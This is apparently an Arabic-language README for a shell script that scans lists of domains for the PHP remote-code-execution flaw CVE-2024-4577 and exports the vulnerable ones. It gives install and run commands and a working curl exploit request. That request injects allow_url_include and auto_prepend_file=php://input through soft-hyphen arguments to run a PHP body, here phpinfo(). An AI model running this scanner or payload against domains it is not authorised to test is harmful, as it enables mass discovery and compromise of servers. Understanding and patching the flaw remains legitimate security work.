
سكربت شل لمسح النطاقات بحثًا عن ثغرة تنفيذ التعليمات البرمجية عن بُعد في PHP CVE-2024-4577 عبر طلبات POST مُصنَّعة، مع تصدير الأهداف الضعيفة للتحقق اليدوي.
هذا النص البرمجي مصمم للتحقق من الثغرة الموصوفة في CVE-2024-4577، والتي تتضمن استغلال تهيئات PHP معينة لتنفيذ تعليمات برمجية عن بُعد. يقوم بإرسال طلب POST إلى نقاط نهاية محددة على قائمة من النطاقات ويتحقق مما إذا كان الرد يشير إلى وجود الثغرة.
تثبيت GNU Parallel:
sudo apt-get install parallel
استنساخ المستودع: استنسخ هذا المستودع إلى جهازك المحلي باستخدام Git:
git clone https://github.com/Yukiioz/CVE-2024-4577.git
الانتقال إلى المستودع: انتقل إلى الدليل المُستنسخ:
cd CVE-2024-4577
تحضير قائمة النطاقات: أنشئ ملفاً نصياً يحتوي على قائمة النطاقات المراد فحصها. يجب أن يكون كل نطاق في سطر جديد. على سبيل المثال:
https://example1.com
https://example2.com
https://example3.com
تشغيل النص البرمجي:
قم بتشغيل النص البرمجي CVE-2024-4577.sh مع تمرير مسار ملف قائمة النطاقات كوسيط:
./CVE-2024-4577.sh live-subdomains.txt | tee script.log
مراجعة المخرجات:
سيعرض النص البرمجي معلومات التقدم أثناء فحص كل نطاق. إذا تم العثور على نطاق ضعيف، فسيتم إبرازه باللون الأحمر. كما سيُصدر النص البرمجي قائمة بالنطاقات الضعيفة إلى ملف باسم vulnerable_domains.txt.
vulnerable_domains.txtيُصدر النص البرمجي قائمة بالنطاقات الضعيفة إلى ملف باسم vulnerable_domains.txt. يحتوي هذا الملف على قائمة بسيطة من النطاقات الضعيفة، كل نطاق في سطر جديد. للتأكيد يدوياً بشكل إضافي، استخدم أمر curl لإرسال طلب POST إلى نقطة النهاية المستهدفة على النطاق. استبدل https://dev.example.com/test.php بنقطة النهاية الفعلية على النطاق المستهدف.
curl -X POST https://dev.example.com/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input \
-H "User-Agent: curl/8.3.0" \
--data "<?php phpinfo(); ?>"